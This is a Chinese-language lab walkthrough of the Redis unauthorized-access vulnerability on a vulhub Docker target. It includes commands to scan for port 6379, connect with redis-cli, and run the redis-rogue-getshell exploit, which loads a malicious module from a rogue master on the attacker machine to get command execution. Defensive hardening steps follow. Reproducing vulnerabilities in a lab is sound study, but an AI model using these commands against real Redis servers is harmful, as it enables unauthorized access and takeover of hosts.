漏洞概述

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上;如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器、添加计划任务、写入Webshell等操作。

影响版本

Redis 4.x/5.0.5以前版本

漏洞复现

docker 靶机:192.168.11.128

攻击机 kali:192.168.11.131

  1. 开启环境
    在这里插入图片描述
  2. docker-compose ps,可以看到redis启动在6379端口
    在这里插入图片描述
  3. 攻击机安装redis,依次执行以下命令
wget http://download.redis.io/releases/redis-2.8.12.tar.gz 
tar -xzf redis-2.8.12.tar.gz
cd redis-2.8.12
make
cd src
./redis-cli -h

  1. nmap扫描docker靶机,发现6379端口开启
nmap -sV --open -p- 192.168.11.128

在这里插入图片描述
5. 用攻击机redis连接目标机redis

cd redis-2.8.12/src/
./redis-cli -h 192.168.11.128

在这里插入图片描述
6. 连接成功,info查看信息

在这里插入图片描述

  1. 在攻击机下载exp,依次在攻击机中输入以下命令
git clone https://github.com/vulhub/redis-rogue-getshell.git
cd redis-rogue-getshell/RedisModulesSDK/exp
make //在当前目录下生成一个exp.so文件
  1. 回到redis-rogue-getshell目录下,利用EXP
./redis-master.py -r 192.168.11.128 -p 6379 -L 192.168.11.131 -P 1111 -f RedisModulesSDK/exp/exp.so -c "id"  
//第一个ip是靶机,第二个ip是攻击机
  1. 利用成功
    在这里插入图片描述
    由于实验环境为vulhub,只能通过该expgetshell,如果想通过写文件、ssh key或定时计划来getshell,会提示没有权限。需要自己搭建靶场环境,参考一下文章:
    参考文章1
    参考文章2

防御方法

  1. 设置 Redis 访问密码在 redis.conf 中找到 “requirepass” 字段在后面填上强口令,redis 客户端也需要此密码来访问 redis 服务。

  2. 添加IP访问限制:配置 bind 选项限定可以连接 Reids 服务器的 IP并修改默认端口 6379

  3. 重启 Redis 服务。

  4. 清理系统中存在的后门木马。

  5. 禁止使用root权限启动redis服务。

GitHub 加速计划 / vu / vulhub
8
1
下载
基于 Docker-Compose 的预构建易受攻击环境。
最近提交(Master分支:4 个月前 )
2111bfe4 added GeoServer CVE-2024-36401 5 个月前
f0495cba - 5 个月前
Logo

旨在为数千万中国开发者提供一个无缝且高效的云端环境,以支持学习、使用和贡献开源项目。

更多推荐